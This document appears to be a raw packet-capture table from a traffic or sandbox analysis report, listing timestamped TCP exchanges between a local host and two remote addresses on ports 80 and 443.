Nov 17, 2024 12:35:25.062688112 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.062720060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062755108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062788963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062799931 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.062799931 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.062840939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.062844038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062896967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062932968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.063026905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.063030005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.063064098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.063098907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.063132048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.063173056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.063173056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.063776016 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.064218044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064273119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064301968 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.064308882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064349890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.064546108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064580917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064635992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.064659119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064691067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064724922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064768076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.064774990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064810991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064861059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064897060 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064925909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064959049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.064994097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065030098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065037012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065037012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065037012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065037012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065066099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065098047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065131903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065227985 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065340042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065375090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065408945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065455914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065455914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065474033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065510035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065542936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065552950 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065594912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065602064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065629005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065663099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065692902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065697908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065742970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065776110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065809965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065843105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.065888882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065888882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.065888882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066174984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066209078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066242933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066277027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066286087 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066313982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066453934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066483974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066515923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066531897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066533089 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066550970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066579103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066612005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066632986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066632986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066648960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066766024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066776991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066787958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066822052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066855907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066859961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066890955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066925049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.066945076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.066962004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067115068 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.067292929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067337990 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.067373991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067408085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067441940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067473888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067502975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067537069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067569971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067598104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.067598104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.067604065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067619085 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.067641020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.067702055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.068017960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.068051100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.068084955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.068119049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.068161011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.068161011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.074585915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.075093985 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.075118065 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.075619936 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.075628042 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.096749067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.096775055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.096790075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.096954107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.096954107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.097188950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.097240925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.097275019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.097307920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.097326040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.097341061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.097352982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.124362946 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124438047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124474049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124516964 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.124516964 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.124581099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124628067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124663115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.124758005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.124986887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125020981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125056028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125096083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.125096083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.125194073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125228882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125262976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125277042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.125343084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125377893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125411987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.125430107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.126935005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.167907953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.168030024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.168064117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.168390989 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.179418087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179434061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179449081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179625034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.179625034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.179689884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179759979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179775953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179905891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179922104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.179951906 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.179986954 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.180017948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180032969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180049896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180087090 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.180104017 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.180334091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180349112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180363894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.180403948 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181456089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181560040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181581020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181651115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181651115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181670904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181687117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181715965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181726933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181750059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181750059 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181766033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181782007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181806087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181807041 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181807041 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181823969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181839943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181849957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.181862116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.181926012 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182033062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182048082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182063103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182086945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182102919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182117939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182123899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182123899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182135105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182176113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182584047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182600021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182615995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182634115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182635069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182656050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182673931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182698011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182713032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182729959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182734013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182744980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182749987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182776928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182849884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182866096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182879925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182893991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182909012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182918072 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.182924032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182940960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182955980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.182971954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183049917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183049917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183051109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183051109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183499098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183514118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183537960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183553934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183568954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183583021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183598042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183608055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183619022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183625937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183640957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183655977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183670044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183681965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183681965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183686018 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183757067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183779955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183794975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183794975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183795929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183810949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183828115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183842897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183859110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.183882952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183882952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.183882952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184092999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184108973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184134007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184148073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184163094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184178114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184194088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184263945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184263945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184263945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184263945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184478998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184494019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184509039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184524059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184540033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184555054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.184592009 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184592009 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.184695005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.187329054 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.213772058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.213824034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.213859081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.213897943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.214018106 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.214051962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.214086056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.214117050 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.214119911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.214155912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.214164972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.214205027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.214251041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.215578079 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.216674089 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.217205048 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.217358112 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.217418909 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.241399050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241455078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241483927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241487980 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.241534948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241544008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.241569996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241605043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241672993 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.241693020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241727114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241740942 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.241760969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241770029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.241774082 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.241792917 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.241796970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241801023 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.241806984 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.241833925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.241977930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242012024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242052078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242053986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.242053986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.242064953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242100954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242129087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.242188931 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.242970943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.247965097 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.248013973 CET	443	49788	13.107.246.45	192.168.2.6
